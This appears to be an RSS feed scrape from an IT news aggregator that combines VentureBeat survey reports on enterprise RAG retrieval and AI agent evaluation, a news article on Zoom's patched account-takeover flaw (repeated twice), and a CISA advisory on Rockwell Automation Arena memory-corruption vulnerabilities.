    Finding 3: Provider-native retrieval already leads the vector databases

    OpenAI file search and vertex AI search top the dedicated tools

    We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

    The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

    The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

    Finding 4: But they say they want to keep best-of-breed

    A plurality resist consolidating onto a provider’s native stack

    We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

    Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

    Finding 5: Hybrid retrieval is the consensus bet

    Vector-only retrieval is already seen as insufficient

    We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

    The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

    Finding 6: The governed context layer is being built now

    Most run or are building a semantic layer — few in production

    We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

    The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

    Finding 7: Bought on ingestion and simplicity, watched for correctness

    Selection favors operability; monitoring favors correctness and security

    We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

    Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

    Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

    Finding 8: A retrieval reshuffle is coming

    A majority plan to change providers — and the vector specialists are gaining interest

    We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

    The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

    The bottom line: A context gap that more retrieval alone won’t close

    Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

    The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

    Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

    ]]>         <![CDATA[Zoom patches account takeover hole]]> https://tsecurity.de/de/3674321/it-security-nachrichten/zoom-patches-account-takeover-hole/ https://tsecurity.de/de/3674321/it-security-nachrichten/zoom-patches-account-takeover-hole/ Thu, 16 Jul 2026 19:53:24 +0200 📰 IT Security Nachrichten tsecurity.de

    Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”

    The issue is especially significant given Zoom’s extensive reach; it reportedly has more than 300 million daily active users, including 470,000 paying business customers. Given that reach, Zoom has been impacted by many other security incidents and France recently tried banning its use by French government users. 

     Zoom security bulletins released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday. 

    The company originally said that the takeover issue impacted Zoom Desktop Client for Windows before version 7.0.0, Zoom VDI Client for Windows before version 7.0.10 and 6.6.15 and 6.5.18 in their respective branches, and Zoom Meeting SDK for Windows, but on Wednesday, without explanation, it removed Meeting SDK for Windows as an affected product.

    The other three holes were less severe, but still significant, and they all involved privilege escalation. They impacted Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Workplace VDI plugin for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Rooms for Windows before 7.0.5 and Remote Control for Zoom Contact Center for Windows before version 7.0.0.

    A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.

    Zoom did not immediately reply to a request for comment.

    ‘As bad as it gets’

    Frank Dickson, group VP for security at IDC, said the nature of the reported hole is alarming.

    This bug “is about as bad as it gets, short of a worm. It is exploitable over the network, low complexity, zero privileges required, no user interaction needed,” he said, pointing out that exploitation is easy once technical details leak or someone reverse-engineers the patch, which is not as challenging as it once was, thanks to AI. “Yesterday’s script kiddies have been empowered,” he said.

    Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”

    Consultant Brian Levine, executive director of FormerGov, agreed with Dickson’s characterization of the hole, but said a potentially bigger issue is the high level of sensitive data that Zoom accesses. 

    “An attacker with unfettered access to a Zoom account may be able to listen to recordings of sensitive meetings, to eavesdrop on future meetings, and to impersonate the organization in an effort to social engineer its clients and partners. Thus, given that ubiquity of Zoom in large enterprises, this vulnerability is pretty concerning,” Levine said.

    He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”

    Giuseppe Trotta, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure. 

    “Because the vulnerability requires zero privileges and absolutely no user interaction, the remote network attack vector is highly suspected to involve the mishandling of deep links, such as custom URL schemes like zoommtg:// or zoomworkplace://,” he said. This led him to think that if the Zoom Workplace client for Windows fails to properly sanitize and validate incoming arguments passed via these special browser-to-desktop links, an unauthenticated attacker could craft a malicious string that could trick the desktop application into exposing or redirecting the user’s active session tokens directly to an attacker-controlled server, achieving a seamless and completely silent account takeover.

    “Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.

    Mike Wilkes, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.

    “This vulnerability raises questions about why the defect was not caught by design review, fuzzing, or pre-release abuse-case testing,” Wilkes said. “A historical defect in Zoom’s product/security relationship has been prioritizing ease of use over security risk.”

    All four bugs important

    Justin Greis, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons. 

    “The critical vulnerability is significant because it has the characteristics security teams worry about most,” Greis said, but the privilege escalation holes “are certainly important to patch as they primarily increase the impact of an attack that has already begun. The critical vulnerability has the potential to be an initial entry point, which is why it deserves the most attention.”

    Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”

    He pointed out that no complex software platform will eliminate vulnerabilities entirely. “The differentiator is whether vendors are continuously investing in offensive testing, finding weaknesses before attackers do, and moving quickly to develop and distribute fixes,” he said.

    This article originally appeared on Computerworld.

    ]]>         <![CDATA[Zoom patches account takeover hole]]> https://tsecurity.de/de/3674314/it-nachrichten/zoom-patches-account-takeover-hole/ https://tsecurity.de/de/3674314/it-nachrichten/zoom-patches-account-takeover-hole/ Thu, 16 Jul 2026 19:47:37 +0200 📰 IT Nachrichten tsecurity.de

    Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”

    The issue is especially significant given Zoom’s extensive reach; it reportedly has more than 300 million daily active users, including 470,000 paying business customers. Given that reach, Zoom has been impacted by many other security incidents and France recently tried banning its use by French government users. 

     Zoom security bulletins released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday. 

    The company originally said that the takeover issue impacted Zoom Desktop Client for Windows before version 7.0.0, Zoom VDI Client for Windows before version 7.0.10 and 6.6.15 and 6.5.18 in their respective branches, and Zoom Meeting SDK for Windows, but on Wednesday, without explanation, it removed Meeting SDK for Windows as an affected product.

    The other three holes were less severe, but still significant, and they all involved privilege escalation. They impacted Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Workplace VDI plugin for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Rooms for Windows before 7.0.5 and Remote Control for Zoom Contact Center for Windows before version 7.0.0.

    A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.

    Zoom did not immediately reply to a request for comment.

    ‘As bad as it gets’

    Frank Dickson, group VP for security at IDC, said the nature of the reported hole is alarming.

    This bug “is about as bad as it gets, short of a worm. It is exploitable over the network, low complexity, zero privileges required, no user interaction needed,” he said, pointing out that exploitation is easy once technical details leak or someone reverse-engineers the patch, which is not as challenging as it once was, thanks to AI. “Yesterday’s script kiddies have been empowered,” he said.

    Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”

    Consultant Brian Levine, executive director of FormerGov, agreed with Dickson’s characterization of the hole, but said a potentially bigger issue is the high level of sensitive data that Zoom accesses. 

    “An attacker with unfettered access to a Zoom account may be able to listen to recordings of sensitive meetings, to eavesdrop on future meetings, and to impersonate the organization in an effort to social engineer its clients and partners. Thus, given that ubiquity of Zoom in large enterprises, this vulnerability is pretty concerning,” Levine said.

    He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”

    Giuseppe Trotta, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure. 

    “Because the vulnerability requires zero privileges and absolutely no user interaction, the remote network attack vector is highly suspected to involve the mishandling of deep links, such as custom URL schemes like zoommtg:// or zoomworkplace://,” he said. This led him to think that if the Zoom Workplace client for Windows fails to properly sanitize and validate incoming arguments passed via these special browser-to-desktop links, an unauthenticated attacker could craft a malicious string that could trick the desktop application into exposing or redirecting the user’s active session tokens directly to an attacker-controlled server, achieving a seamless and completely silent account takeover.

    “Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.

    Mike Wilkes, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.

    “This vulnerability raises questions about why the defect was not caught by design review, fuzzing, or pre-release abuse-case testing,” Wilkes said. “A historical defect in Zoom’s product/security relationship has been prioritizing ease of use over security risk.”

    All four bugs important

    Justin Greis, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons. 

    “The critical vulnerability is significant because it has the characteristics security teams worry about most,” Greis said, but the privilege escalation holes “are certainly important to patch as they primarily increase the impact of an attack that has already begun. The critical vulnerability has the potential to be an initial entry point, which is why it deserves the most attention.”

    Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”

    He pointed out that no complex software platform will eliminate vulnerabilities entirely. “The differentiator is whether vendors are continuously investing in offensive testing, finding weaknesses before attackers do, and moving quickly to develop and distribute fixes,” he said.

    ]]>         <![CDATA[Apple just made Windows games run much faster on Mac]]> https://tsecurity.de/de/3674297/ios-mac-os/apple-just-made-windows-games-run-much-faster-on-mac/ https://tsecurity.de/de/3674297/ios-mac-os/apple-just-made-windows-games-run-much-faster-on-mac/ Thu, 16 Jul 2026 19:36:48 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]> https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ Thu, 16 Jul 2026 19:03:24 +0200 📰 IT Nachrichten tsecurity.de Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.

    This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

    The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

    What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

    By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

    At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

    Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

    Finding 1: A passing eval is not a working agent

    Half have shipped an agent that passed evals, then failed a customer

    We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

    This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

    Finding 2: Almost no one fully trusts automated evaluation

    The top complaint: Evals don't match real-world outcomes

    We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

    Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

    Finding 3: The autonomy ceiling is rising anyway

    Two-thirds already allow, or are building toward, zero-human deployment

    We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

    Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

    Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

    Finding 4: The evaluation stack is fragmented and provider-led

    Provider-native evals lead — tied with no dedicated tool at all

    We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

    The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

    Finding 5: Production monitoring rarely watches output quality

    Only a quarter run real-time quality checks on live traffic

    Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

    Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

    Finding 6: Bought on cost, measured on consistency

    Price and integration drive selection; evaluation consistency is the goal

    We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

    Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

    Finding 7: The next dollar goes to humans and observability

    Investment is flowing to oversight, not just automation

    We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

    The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

    Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

    Finding 8: A tooling reshuffle is coming

    Nearly two-thirds plan to adopt or switch platforms within a year

    We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

    The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

    Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

    The bottom line: An evaluation gap that autonomy will widen, not close

    Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

    The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

    Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

    ]]>         <![CDATA[Rockwell Automation Arena]]> https://tsecurity.de/de/3674160/it-security-nachrichten/rockwell-automation-arena/ https://tsecurity.de/de/3674160/it-security-nachrichten/rockwell-automation-arena/ Thu, 16 Jul 2026 18:42:05 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation these vulnerabilities could allow an attacker to execute arbitrary code in the context of the current process.

    The following versions of Rockwell Automation Arena are affected:

    • Arena <=V17.00.00 (CVE-2026-8085, CVE-2026-8312, CVE-2026-8313, CVE-2026-8314)
    CVSS Vendor Equipment Vulnerabilities
    v3 7.8 Rockwell Automation Rockwell Automation Arena Out-of-bounds Write

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-8085

    A security issue exists within Arena Simulation due to a memory corruption vulnerability in the model.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.

    View CVE Details

    Affected Products

    Rockwell Automation Arena
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Arena: <=V17.00.00
    Product Status:
    known_affected
    Remediations

    Mitigation
    Rockwell Automation recommends users to update to V17.00.01

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    4.0 7 HIGH CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-8312

    A security issue exists within Arena Simulation due to a memory corruption vulnerability in the expmt.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.

    View CVE Details

    Affected Products

    Rockwell Automation Arena
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Arena: <=V17.00.00
    Product Status:
    known_affected
    Remediations

    Mitigation
    Rockwell Automation recommends users to update to V17.00.01

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    4.0 7 HIGH CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-8313

    A security issue exists within Arena Simulation due to a memory corruption vulnerability in the linker.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.

    View CVE Details

    Affected Products

    Rockwell Automation Arena
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Arena: <=V17.00.00
    Product Status:
    known_affected
    Remediations

    Mitigation
    Rockwell Automation recommends users to update to V17.00.01

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    4.0 7 HIGH CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-8314

    A security issue exists within Arena Simulation due to a memory corruption vulnerability in the siman.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.

    View CVE Details

    Affected Products

    Rockwell Automation Arena
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Arena: <=V17.00.00
    Product Status:
    known_affected
    Remediations

    Mitigation
    Rockwell Automation recommends users to update to V17.00.01

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    4.0 7 HIGH CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Michael Heinzl reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

